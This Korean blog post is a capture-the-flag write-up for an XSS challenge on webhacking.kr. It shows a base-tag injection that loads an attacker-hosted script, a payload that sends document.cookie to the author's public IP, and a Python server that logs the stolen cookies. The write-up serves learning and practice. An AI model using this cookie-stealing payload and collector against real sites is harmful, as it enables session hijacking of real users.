드림핵에서만 문제를 풀다가 이전에 웹 문제를 열심히 풀었었던 webhacking.kr에 오랜만에 들어가보았다.
문제가 몇개 리뉴얼 돼서 올라왔길래 하나 풀어봤는데 쉽지 않았...
특히 항상 XSS문제를 풀때마다 많이 어렵다고 생각햇는데 이 문제도 XSS 문제라 좀 어려움을 겪었었다.
inject 파라미터에 tag injection이 가능하다는 것을 확인할 수 있다. 전형적인 XSS payload인 <script>alert(1)</script>를 삽입해보았는데, CSP가 설정 때문인가 필터링 때문인가 XSS공격에 실패했다.
개발자 도구로 페이지를 살펴보니 script src=/script.js 이런식으로 script 소스를 불러온다는 것을 확인할 수 있었다.
원래 의도대로라면 webhacking.kr:10010/script.js 를 의미한 거겠지만 base url 를 사용해 공격자 도메인의 악의적인 script.js 코드를 실행할 수 있게 된다.
따라서 내 서버에 script.js 파일을 만들고 그 안에 alert(1)과 같은 스크립트를 작성해주고,
inject 뒤에는 <base href="내서버"> 를 삽입해주었다.
그렇게 되면 내 서버의 script.js 파일을 읽어오고 alert(1)가 브라우저에 뜨게 된다.
alert 대신 document.cookie를 출력시키도록 XSS payload를 작성했다.
report.php에 들어가 inject뒤에 마찬가지로 base tag를 입력해준 뒤,
봇이 내 서버에 방문해서 스크립트 리소스를 불러오면 쿠키값을 탈취하게 된다.나는 내 도메인이 없어서...ㅜ 구현에 있어서 나는 포트 2개를 활용한 포트포워딩 방식으로 해결했다..
내 공인 ip:8080 서버에 XSS payload를 담은 script.js를 올리고,
공인 ip:8888에 cookie와 접속시간 등을 출력시키는 http 서버를 실행시켰다.
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from urlparse import urlparse, parse_qs
from datetime import datetime
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
query_components = parse_qs(urlparse(self.path).query)
print ""
print "%s - %s\t%s" % (
datetime.now().strftime("%Y-%m-%d %I:%M %p"),
self.client_address[0],
self.headers['user-agent'])
print "-------------------"*6
for k, v in query_components.items():
print "%s\t\t\t%s" % (k.strip(), v)
# print query_components
# self.send_response(500)
# self.send_header("Content-type", "text/html")
# self.end_headers()
# self.wfile.write(c)
return
def log_message(self, format, *args):
return
if __name__ == "__main__":
try:
server = HTTPServer(('0.0.0.0', 8888), MyHandler)
print('Started http server')
server.serve_forever()
except KeyboardInterrupt:
print('^C received, shutting down server')
server.socket.close()
8888포트에서 실행되는 파이썬 서버 (밑에 깃헙 레포 참고해서 코드 작성)
location.href="공인ip:8888/?"+document.cookie;
8080포트에서 실행되는 script.js (XSS payload)
한편 웹해킹에 도움이 될만한 레포지토리를 찾아서 매우 기뻤다....!!!!!
jhchoi0303/WebHacking101: Web-App-Hacking-Notes (github.com)
'해킹 공부 > 웹해킹' 카테고리의 다른 글
SQL injection + INFORMATION_SCHEMA (0) | 2022.01.20 |
---|---|
[web] suninatas (0) | 2021.11.16 |
Union Select SQL injection,주석,addslashes 우회,공백 우회,url encoding (2) | 2021.02.03 |
SQL injection, MD5 raw (0) | 2021.02.02 |
레이스 컨디션 (race condition) 공격이란? (0) | 2021.01.27 |
댓글